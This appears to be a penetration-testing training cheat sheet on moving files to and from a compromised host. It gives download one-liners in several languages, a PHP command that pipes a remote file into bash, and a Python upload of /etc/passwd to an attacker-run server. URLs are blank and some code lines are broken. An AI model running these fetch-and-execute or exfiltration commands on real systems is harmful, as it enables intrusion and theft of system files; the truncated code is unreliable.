Transfering Files with Code


Python 2 - Download

neutron@kali[/kali]$ python2.7 -c 'import urllib;urllib.urlretrieve ("", "")'

Python 3 - Download

neutron@kali[/kali]$ python3 -c 'import urllib.request;urllib.request.urlretrieve("", "")'


PHP Download with File_get_contents()

neutron@kali[/kali]$ php -r '$file = file_get_contents(""); file_put_contents("",$file);'

PHP Download with Fopen()

neutron@kali[/kali]$ php -r 'const BUFFER = 1024; $fremote = 
fopen("", "rb"); $flocal = fopen("", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

PHP Download a File and Pipe it to Bash

neutron@kali[/kali]$ php -r '$lines = @file(""); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Other Languages

Ruby - Download a File

neutron@kali[/kali]$ ruby -e 'require "net/http"; File.write("", Net::HTTP.get(URI.parse("")))'

Perl - Download a File

neutron@kali[/kali]$ perl -e 'use LWP::Simple; getstore("", "");'


The following JavaScript code is based on this post, and we can download a file using it. Create a file called wget.js and save the following content:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;

Download a File Using JavaScript and cscript.exe

C:\xyz> cscript.exe /nologo wget.js PowerView.ps1


The following VBScript example can be used based on this. Create a file called wget.vbs and save the following content:

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False

with bStrm
    .type = 1
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

From a Windows command prompt or PowerShell terminal

C:\xyz> cscript.exe /nologo wget.vbs PowerView2.ps1

Upload Operations using Python3

If we want to upload a file to our Python3 uploadserver.

Starting the Python uploadserver Module

neutron@kali[/kali]$ python3 -m uploadserver 

File upload available at /upload
Serving HTTP on port 8000 ( ...

Uploading a File Using a Python One-liner

neutron@kali[/kali]$ python3 -c 'import requests;"",files={"files":open("/etc/passwd","rb")})'


# To use the requests function, we need to import the module first.
import requests 

# Define the target URL where we will upload the file.
URL = ""

# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")

# Use a requests POST request to upload the file. 
r =,files={"files":file})